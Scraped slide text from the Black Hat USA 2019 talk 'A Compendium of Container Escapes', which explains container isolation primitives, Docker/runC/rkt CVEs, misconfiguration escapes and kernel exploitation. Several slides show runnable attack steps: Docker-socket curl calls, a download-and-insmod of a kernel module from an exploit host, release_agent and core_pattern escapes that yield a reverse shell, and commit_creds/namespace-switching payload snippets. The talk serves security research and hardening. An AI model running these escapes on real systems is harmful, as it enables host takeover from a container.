114
A Compendium of Container Escapes Brandon Edwards & Nick Freeman BLACK HAT USA 2019

A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

  • Upload
    others

  • View
    7

  • Download
    0

Embed Size (px)

Citation preview

Page 1: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

A Compendium

of Container

Escapes

Brandon Edwards & Nick Freeman

BLACK HAT USA 2019

Page 2: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

Scope

Page 3: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

Required Reading: Container Basics

Volume I: Container Engine Vulnerabilities

Volume II: Escape via Insecure Configuration

Volume III: Kernel Exploitation

Page 4: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

Required Reading: Container Basics

Page 5: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

Container != VM

Page 6: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

containerengine

init (systemd)

container A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources.

cronsshd

nginx

nginx

Page 7: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

PID of process

user@host:~$ cat /proc/1/comm

systemd

/proc is a special filesystem

mount (procfs) for accessing system and process information directly from the kernel by reading “file” entries

int pid 1

nsproxy *nsproxy

css_set *cgroups

…lots of fields...

task_struct *parent

volatile long state

task_struct

int tgid 1

fs_struct *fs

void *stack

cred *cred

char comm “systemd”

...many more fields...

Page 8: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

/proc/$PID

/proc/$PID/ns/

/proc/$PID/cgroup

…lots of fields...

/proc/$PID/exe

/proc mapping

/proc/$TGID

/proc/$PID/root (and cwd)

/proc/$PID/status

/proc/$PID/comm

...many more fields...

int pid 1

nsproxy *nsproxy

css_set *cgroups

…lots of fields...

task->mm_struct->exe_file

task_struct entry

int tgid 1

fs_struct *fs

cred *cred

char *comm

...many more fields...

Page 9: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

1. Credentials2. Capabilities3. Filesystem4. Namespaces5. Cgroups6. LSMs7. seccomp

Page 10: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

Credentials describe the user identity of a task, which determine its permissions for shared resources such as files, semaphores, and shared memory.

See man page credentials(7)The Linux Programming Interface, Kerrisk

No Starch Press 2010

1. Credentials

Page 11: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

The Linux Programming Interface, Kerrisk No Starch Press 2010

Seal of Lilith, Sun of Great Knowledge, 1225

Page 12: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

The Linux Programming Interface, Kerrisk No Starch Press 2010

Seal of Lilith, Sun of Great Knowledge, 1225

Page 13: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

Since kernel 2.2, Linux divides the privileges associated with superuser into distinct units

known as capabilities.

/proc/$PID/status | man capabilities

2. Capabilities

Page 14: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

CAP_KILLCAP_CHOWNCAP_MKNODCAP_SETUIDCAP_SETGIDCAP_SYSLOGCAP_FOWNERCAP_FSETID

CAP_SYS_BOOTCAP_SYS_TIMECAP_SYS_PACCTCAP_SYS_RAWIOCAP_SYS_ADMINCAP_SYS_CHROOTCAP_SYS_MODULECAP_SYS_PTRACE

CAP_SYS_RESOURCECAP_DAC_OVERRIDECAP_MAC_ADMINCAP_MAC_OVERRIDECAP_NET_ADMINCAP_NET_BIND_SERVICECAP_NET_BROADCASTCAP_NET_RAW

Default Docker Capabilities

Containers are tasks which run should run with a restricted set of capabilities; there are consistency issues across runtimes/versions

Page 15: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

The container’s root mount is often planted in a container-specialized filesystem, such as OverlayFS

/var/lib/docker/overlay2/..hash../diff

3. Filesystem

Page 16: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

user@host:~$ docker run -it --name showfs ubuntu /bin/bash

root@df65b429b317:/#

root@df65b429b317:/# echo "hello" > /file.txt

user@host:~$ docker inspect showfs | grep UpperDir

"UpperDir":"/var/lib/docker/overlay2/4119168db2bbaeec3db0919b3129

83b2b49f93790453c532eeeea94c42e336b9/diff",

user@host:~$ cat/var/lib/docker/overlay2/4119168db2bbaeec3db0919b

312983b2b49f93790453c532eeeea94c42e336b9/diff/file.txt

hello

TL;DR is that the container’s root of “/” really lives in /var/lib/docker/overlay2/...hash.../

This becomes relevant later on.

Page 17: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

PID: have their own view of tasksUser: wrap mapping of UID to userMount: isolate mount pointsNet: own networking environmentUTS: have their own hostnameIPC: restrict SysV IPC objectsCgroup: isolate the view of cgroups

/proc/$PID/ns/

4. Namespaces

Page 18: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

CGroups organize processes into hierarchical groups whose usage of various types of system resources can be managed.

fork() depthCPU time block devices

5. CGroups

Page 19: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

AppArmor and SELinux are Linux security modules providing Mandatory Access Control (MAC), where access rules for a program are described by a profile

6. Linux Security Modules

Page 20: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

Docker and LXC enable a default LSM profile in enforcement mode, which mostly serves to restrict a container’s access to sensitive /procand /sys entries.

The profile also denies mount syscall.

Page 21: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

kexec_file_loadkexec_loadmembarriermigrate_pagesmove_pagesnicepivot_rootsigaction

sigpendingsigprocmasksigsuspend_sysctlsysfsuselibuserfault_fdvm86

Docker’s default seccomp policy at a glance

Blocked Syscalls (SCMP_ACT_ERRNO) Requires CAP_SYS_ADMIN

bpfclonefanotify_initmountperf_event_opensetnsumountunshare

7. seccomp

Page 22: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

seccompkexec_file_loadkexec_loadmembarriermigrate_pagesmove_pagesnicepivot_rootsigaction

sigpendingsigprocmasksigsuspend_sysctlsysfsuselibuserfault_fdvm86

Blocked (SCMP_ACT_ERRNO) Requires CAP_SYS_ADMIN

bpfclonefanotify_initmountperf_event_opensetnsumountunshare

Page 23: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

seccompkexec_file_loadkexec_loadmembarriermigrate_pagesmove_pagesnicepivot_rootsigaction

sigpendingsigprocmasksigsuspend_sysctlsysfsuselibuserfault_fdvm86

Blocked (SCMP_ACT_ERRNO) Requires CAP_SYS_ADMIN

bpfclonefanotify_initmountperf_event_opensetnsumountunshare

Page 24: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

What you think you can do What you can actually do Where you can do it

Capabilities LSM

seccomp

User NS

cgroups

Filesystem

Credentials

Namespaces

cgroups

Container Security Model

Page 25: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

What you think you can do What you can actually do Where you can do it

Capabilities LSM

seccomp

User NS

cgroups

Filesystem

Credentials

Container Security Model

Namespaces

cgroups

Page 26: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

Volume I: Container Engine Vulnerabilities

Page 27: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

Docker Vulnerabilities

Page 28: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

CVE-2015-3630CVE-2015-3631

Weak /proc permissions

CVE-2015-3627CVE-2019-15664

Host FD leakage

CVE-2015-3627CVE-2015-3629

CVE-2019-15664

Symlinks

Docker Vulnerabilities

Page 29: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

CVE-2015-3630CVE-2015-3631

Weak /proc permissions

CVE-2015-3627CVE-2019-15664

Host FD leakage

CVE-2015-3627CVE-2015-3629

CVE-2019-15664

Symlinks

Docker Vulnerabilities

Page 30: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

CVE-2015-3630CVE-2015-3631

Weak /proc permissions

CVE-2015-3627CVE-2019-15664

Host FD leakage

CVE-2015-3627CVE-2015-3629

CVE-2019-15664

Symlinks

Docker Vulnerabilities

Page 31: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

Recent RunC Vulnerability (CVE-2019-5736)

Page 32: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can
Page 33: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

CONTAINER

containerd > containerd-shim > runc

Here, ENTRYPOINT is java -jar ...., with java being in that container

Drop privileges, capabilities, apply seccomp, make/apply namespaces

PID 1exec(ENTRYPOINT)

/proc/self/exe

Regular Container Startup

Page 34: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

CONTAINER

After exec, pswould output containerd > containerd-shim > java

containerd > containerd-shim > runc

Drop privileges, capabilities, apply seccomp, make/apply namespaces

PID 1exec(ENTRYPOINT)

/proc/self/exejava

Regular Container Startup - Complete

Page 35: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

CONTAINER

But if ENTRYPOINT is /proc/self/exe, it runs runc from the host

containerd > containerd-shim > runc

Drop privileges, capabilities, apply seccomp, make/apply namespaces

PID 1exec(ENTRYPOINT)

/proc/self/exerunc

The RunC Escape (CVE-2019-5736)

Page 36: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

CONTAINERPID 1

An evil process/library in the container can get a reference to runc on the host

I'm taking the FD to

runc, kthx

exec(ENTRYPOINT)

containerd > containerd-shim > runc

Drop privileges, capabilities, apply seccomp, make/apply namespaces

/proc/self/exerunc

libseccomp2

FD

The RunC Escape (CVE-2019-5736)

Page 37: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

CONTAINER PID 1

runc

Library execs another program, which writes to the host FD. From now on:

libseccomp2

PID 2

exec(./evil /proc/self/fd/3)

/evil

containerd > containerd-shim > runc

FD

FD

/proc/self/exe

CVE-2019-5736 Detail

exec(ENTRYPOINT)

Page 38: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

rktVulnerabilities

Page 39: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

rkt - CVE-2019-10144/10145/10457

CONTAINER

rkt enter

PID 1

/proc/self/exe

exec(ENTRYPOINT)

Drop privileges, capabilities, apply seccomp, make/apply namespaces

Page 40: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

rkt - CVE-2019-10144/10145/10457

CONTAINERPID 1

/proc/self/exe

exec(ENTRYPOINT)

rkt enterDrop privileges, capabilities, apply seccomp, make/apply namespaces

Page 41: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

Volume II: Escape via Weak Deployment

Page 42: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

The Docker socket is what you talk to whenever you run a dockercommand. You can also access it with curl:

$ # equivalent: docker run bad --privileged

$ curl --unix-socket $SOCKPATH -d '{"Image":"bad", "Privileged":"true"}'

-H 'Content-Type: application/json' 0/containers/create

{"Id":"22093d29e3c35e52d1d1dd0e3540e0792d4b5e6dc1847e69a0e5bdcd2d3d9982"

,"Warnings":null}

$ curl -XPOST --unix-socket $SOCKETPATH 0/containers/22093..9982/start

Who would do this?! People who want to run Docker inside Docker.

Bad idea #1: Exposed Docker Socket

Page 43: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

Running a Docker container with --privileged removes

most of the isolation provided by containers.

$ curl -O exploit.delivery/bad.ko && insmod bad.ko

Bad idea #2: --privileged container

Page 44: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

Privilegedcontainers can

also register usermode

helper programs

Page 45: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

Segue: Usermode Helper Programs

call_usermodehelper_exec()

Page 46: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

Usermode Helper Escape Pattern

Container

Kernelhelper_program= “”

Page 47: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

1. get overlay path from /etc/mtab “upperdir”

Container

Kernelhelper_program= “”

Usermode Helper Escape Pattern

Page 48: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

1. get overlay path from /etc/mtab “upperdir”

/var/lib/docker/overlay2/..hash../diff

Container

Kernelhelper_program= “”

Usermode Helper Escape Pattern

Page 49: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

1. get overlay path from /etc/mtab “upperdir”2. set payloadPath=$overlay/payload

Container

Kernelhelper_program= “”

Usermode Helper Escape Pattern

Page 50: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

1. get overlay path from /etc/mtab “upperdir”2. set payloadPath=$overlay/payload

/var/lib/docker/overlay2/..hash../diff/payload

Container

Kernelhelper_program= “”

Usermode Helper Escape Pattern

Page 51: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

1. get overlay path from /etc/mtab “upperdir”2. set payloadPath=$overlay/payload3. mount /special/fs

Container

Kernelhelper_program= “”

Usermode Helper Escape Pattern

Page 52: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

1. get overlay path from /etc/mtab “upperdir”2. set payloadPath=$overlay/payload3. mount /special/fs4.echo $payloadPath > /special/fs/callback

Container

Kernelhelper_program= “”

Usermode Helper Escape Pattern

Page 53: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

1. get overlay path from /etc/mtab “upperdir”2. set payloadPath=$overlay/payload3. mount /special/fs4.echo $payloadPath > /special/fs/callback

Container

Kernelhelper_program=

“/var/lib/docker/overlay2/..hash../diff/payload”

Usermode Helper Escape Pattern

Page 54: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

1. get overlay path from /etc/mtab “upperdir”2. set payloadPath=$overlay/payload3. mount /special/fs4.echo $payloadPath > /special/fs/callback

5. trigger or wait for event

Container

Kernelhelper_program=

“/var/lib/docker/overlay2/..hash../diff/payload”

Usermode Helper Escape Pattern

Page 55: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

1. get overlay path from /etc/mtab “upperdir”2. set payloadPath=$overlay/payload3. mount /special/fs4.echo $payloadPath > /special/fs/callback

5. trigger or wait for event

Container

Kernelhelper_program=

“/var/lib/docker/overlay2/..hash../diff/payload”

[kthreadd]exec /var/lib/docker/overlay2/..hash../diff/payload

Usermode Helper Escape Pattern

Page 56: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

1. get overlay path from /etc/mtab “upperdir”2. set payloadPath=$overlay/payload3. mount /special/fs4.echo $payloadPath > /special/fs/callback

5. trigger or wait for event

Container

Kernelhelper_program=

“/var/lib/docker/overlay2/..hash../diff/payload”

[kthreadd]exec /var/lib/docker/overlay2/..hash../diff/payload

Usermode Helper Escape Pattern

Page 57: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

root@85c050f5:/# mkdir /tmp/esc

root@85c050f5:/# mount -t cgroup -o rdma cgroup /tmp/esc

root@85c050f5:/# mkdir /tmp/esc/w

root@85c050f5:/# echo 1 > /tmp/esc/w/notify_on_release

root@85c050f5:/# pop="$overlay/shell.sh"

root@85c050f5:/# echo $pop > /tmp/esc/release_agent

root@85c050f5:/# sleep 5 && echo 0>/tmp/esc/w/cgroup.procs &

root@85c050f5:/# nc -l -p 9001

bash: cannot set terminal process group (-1): Inappropriate

ioctl for device

bash: no job control in this shell

root@ubuntu:/#

release_agent escape

Page 58: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

- release_agent

- binfmt_misc

- core_pattern

- uevent_helper

- modprobe

Page 59: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

CAP_SYS_MODULE // load a kernel moduleCAP_SYS_RAWIO // access dangerous ioctls, map NULL

CAP_SYS_ADMIN // "true root" - mount, bpf, unshare..

… --privileged allows all of the above.

Running your contained process as root is probably excessive, too.

Bad idea #3: Excessive Capabilities

Page 60: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

Bad idea #4: Sensitive mounts

Access to the underlying host’s /proc

mount is a bad idea

docker run -v /proc:/host/proc

Page 61: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

/host/proc/

is not protected by AppArmor

Page 62: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

Bad idea #4: Sensitive mounts

Access to the underlying host’s /proc

mount is a bad idea

/host/proc/sys/kernel/core_pattern

Page 63: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

Access to the underlying host’s /proc

mount is a bad idea

/host/proc/sys/kernel/core_pattern

Bad idea #4: Sensitive mounts

Page 64: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

core_pattern escape

root@85c050f5:/# cd /host/proc/sys/kernel

root@85c050f5:/# echo “|$overlay/shell.sh” > core_pattern

root@85c050f5:/# sleep 5 && ./crash &

root@85c050f5:/# nc -l -p 9001

bash: cannot set terminal process group (-1): Inappropriate

ioctl for device

bash: no job control in this shell

root@ubuntu:/#

Page 65: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

This was a summary of commonly used bad ideas.

Page 66: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

Part III: Kernel Exploitation

Page 67: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

The security model of containers is predicated on kernel integrity

Page 68: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

Dirty CoW (CVE-2016-5195)

Page 69: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

library.so

PID 500 PID 200

write

Page 70: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

<__vdso_time>:

<+0>: push rbp

<+1>: test rdi,rdi

<+4>: mov rax,QWORD PTR [rip+0xffffffffffffc18d]

<+11>: mov rbp,rsp

<+14>: je <__vdso_time+19>

<+16>: mov QWORD PTR [rdi],rax

<+19>: pop rbp

<+20>: ret

The virtual dynamic shared object is a special mapping shared from the kernel with userland

Page 71: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

vDSO

vDSO

PID 1337

Container

PID 55551

Hosty McHostTas

k

Page 72: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

vDSO

vDSO

PID 1337

Container

PID 55551

Hosty McHostTas

k

Page 73: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

vDSO

vDSO

PID 1337

Container

PID 55551

Hosty McHostTas

k

Page 74: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

vDSO

vDSO

PID 1337

Container

PID 55551

Hosty McHostTas

k

BONUS FEATURES

Page 75: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

vDSO

vDSO

PID 1337

Container

PID 55551

Hosty McHostTas

k

BONUS FEATURES

Page 76: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

vDSO

vDSO

PID 1337

Container

PID 55551

Hosty McHostTas

kWhat time()

isit?

Page 77: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

vDSO

vDSO

PID 1337

Container

PID 55551

Hosty McHostTas

kWhat time()

isit?

IT’SPARTY

TIME

Page 78: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

Let’s talk about some common goals and patterns

Page 79: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

Userspace

Kernel

Page 80: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

Userspace

Kernel

These two are up to something

Page 81: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

Userspace

Kernel

Step 1: Memory layout, state grooming, etc.

Page 82: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

Userspace

Kernel

Step 2: TriggerBug

Page 83: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

Userspace

Kernel

Step 3: ROP to disableSMEP/SMAP

Page 84: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

Userspace

Kernel

Step 4: Return to userland

Page 85: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

Userspace

Kernel

Step 5: commit_creds(\

prepare_kernel_creds(0));

Page 86: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

kuid_t euid

kuid_t gid

…lots of fields...

…lots of fields...

cred

kuid_t egid

kernel_cap_t cap_effective

kuid_t uid

kernel_cap_t cap_inheritable

void *security

int pid

nsproxy *nsproxy

css_set *cgroups

…lots of fields...

task_struct *parent

volatile long state

task_struct

int tgid

fs_struct *fs

void *stack

cred *cred

char comm[TASK_COMM_LEN]

...many more fields...

...some more fields...

...many more fields...

user_namespace *user_ns

Page 87: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

kuid_t euid

kuid_t gid

…lots of fields...

…lots of fields...

cred

kuid_t egid

kernel_cap_t cap_effective

kuid_t uid

kernel_cap_t cap_inheritable

void *security

int pid

nsproxy *nsproxy

css_set *cgroups

…lots of fields...

task_struct *parent

volatile long state

task_struct

int tgid

fs_struct *fs

void *stack

cred *cred

char comm[TASK_COMM_LEN]

...many more fields...

...some more fields...

...many more fields...

user_namespace *user_ns

Page 88: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

kuid_t euid

kuid_t gid

…lots of fields...

…lots of fields...

cred

kuid_t egid

kernel_cap_t cap_effective

kuid_t uid

kernel_cap_t cap_inheritable

void *security

int pid

nsproxy *nsproxy

css_set *cgroups

…lots of fields...

task_struct *parent

volatile long state

task_struct

int tgid

fs_struct *fs

void *stack

cred *cred

char comm[TASK_COMM_LEN]

...many more fields...

...some more fields...

...many more fields...

user_namespace *user_ns

Page 89: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

What you think you can do What you can actually do Where you can do it

Capabilities LSM

seccomp

User NS

cgroups

Filesystem

Credentials

Namespaces

cgroups

Revised Container Security Model

Page 90: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

What you think you can do What you can actually do Where you can do it

Capabilities LSM

seccomp

User NS

cgroups

Filesystem

Credentials

Namespaces

cgroups

Revised Container Security Model

Page 91: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

Assuming a new user namespace hasn’t been set, this opens up escapes similar to --privileged

Escape becomes trivial via usermode helpers ;)

For demo, we will use @andreyknvl kernel bugs

Textbook commit_creds()payload

Page 92: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

core_pattern escape

user@85c050f5:/$ ./privesc

root@85c050f5:/# mkdir /newproc

root@85c050f5:/# mount -t proc proc /newproc

root@85c050f5:/# cd /newproc/sys/kernel

root@85c050f5:/# echo “|$overlay/shell.sh” > core_pattern

root@85c050f5:/# sleep 5 && ./crash &

root@85c050f5:/# nc -l -p 9001

bash: cannot set terminal process group (-1): Inappropriate

ioctl for device

bash: no job control in this shell

root@ubuntu:/#

Page 93: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

Kernel Exploitation

But what if they do employ user namespaces?

Page 94: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

int pid

nsproxy *nsproxy

css_set *cgroups

…lots of fields...

task_struct *parent

volatile long state

task_struct

int tgid

fs_struct *fs

void *stack

cred *cred

char comm[TASK_COMM_LEN]

...many more fields...

mnt_namespace *mnt_ns

net *net_ns

atomic_t count

nsproxy

pid_namespace *pid_ns_for_children

uts_namespace *uts_ns

cgroup_namespace *cgroup_ns

ipc_namespace *ipc_ns

Page 95: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

Escaping with namespaces// copy INIT_NSPROXY to the in-container "init"

((_switch_task_ns)(SWITCH_TASK_NS))((void *)cntnr_init,

(void *)INIT_NSPROXY);

Container

PID "1"

Page 96: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

// copy INIT_NSPROXY to the in-container "init"

((_switch_task_ns)(SWITCH_TASK_NS))((void *)cntnr_init,

(void *)INIT_NSPROXY);

Escaping with namespaces

Container

PID "1"

Page 97: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

Escaping with namespaces// copy INIT_NSPROXY to the in-container "init"

((_switch_task_ns)(SWITCH_TASK_NS))((void *)cntnr_init,

(void *)INIT_NSPROXY);

// grab in-container init's mnt NS fd

int fd = ((_do_sys_open)(DO_SYS_OPEN))(AT_FDCWD,

"/proc/1/ns/mnt",

O_RDONLY,

0);

Container

PID "1"

